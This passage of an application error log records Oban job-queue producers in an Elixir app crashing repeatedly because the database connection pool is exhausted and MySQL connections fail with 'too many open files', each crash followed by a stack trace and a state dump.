See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:14:27.242686Z], limit: 20, uuid: "4588f2a3-2a6c-4f03-ba54-f71ecf5d18cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:27.242691Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168449>, refresh_timer: #Reference<0.2525715032.1121189889.168423>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:14:27.239976Z], limit: 10, uuid: "ee7e0bd4-5dcd-400b-bacb-d56dcd807d83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:27.239982Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168450>, refresh_timer: #Reference<0.2525715032.1121189889.168405>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:14:27.240898Z], limit: 50, uuid: "871525ef-e0cd-43d3-8996-0208f38a98f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:27.240903Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168451>, refresh_timer: #Reference<0.2525715032.1077673987.29291>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:14:27.238203Z], limit: 3, uuid: "8335f91c-57dd-4d3e-b096-76e00da7d420", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:27.238212Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.52630>, refresh_timer: #Reference<0.2525715032.1099431938.52604>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:43.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:44.040000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:44.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:44.096000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:46.966000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:50.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:14:39.240707Z], limit: 3, uuid: "9f5f7925-833a-4283-bab5-6383f00f8e72", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:39.240713Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168900>, refresh_timer: #Reference<0.2525715032.1099431938.52740>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:14:39.238879Z], limit: 20, uuid: "e1fbecd0-eb45-40c1-8f94-5d853263ea5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:39.238886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168897>, refresh_timer: #Reference<0.2525715032.1099431938.52711>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:14:39.239535Z], limit: 5, uuid: "457e4068-8521-47f1-88a0-ebf0fb44b80e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:39.239540Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168901>, refresh_timer: #Reference<0.2525715032.1077673987.29464>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:14:39.240186Z], limit: 10, uuid: "bcff1c2a-71ed-4fb2-81ff-fb5f7f84d8ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:39.240192Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168896>, refresh_timer: #Reference<0.2525715032.1121189889.168874>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:14:39.239316Z], limit: 50, uuid: "6a20fc90-ea55-4842-a63b-94fc30298e88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:39.239322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.168899>, refresh_timer: #Reference<0.2525715032.1099431938.52730>, dispatch_cooldown: 5, running: %{}}
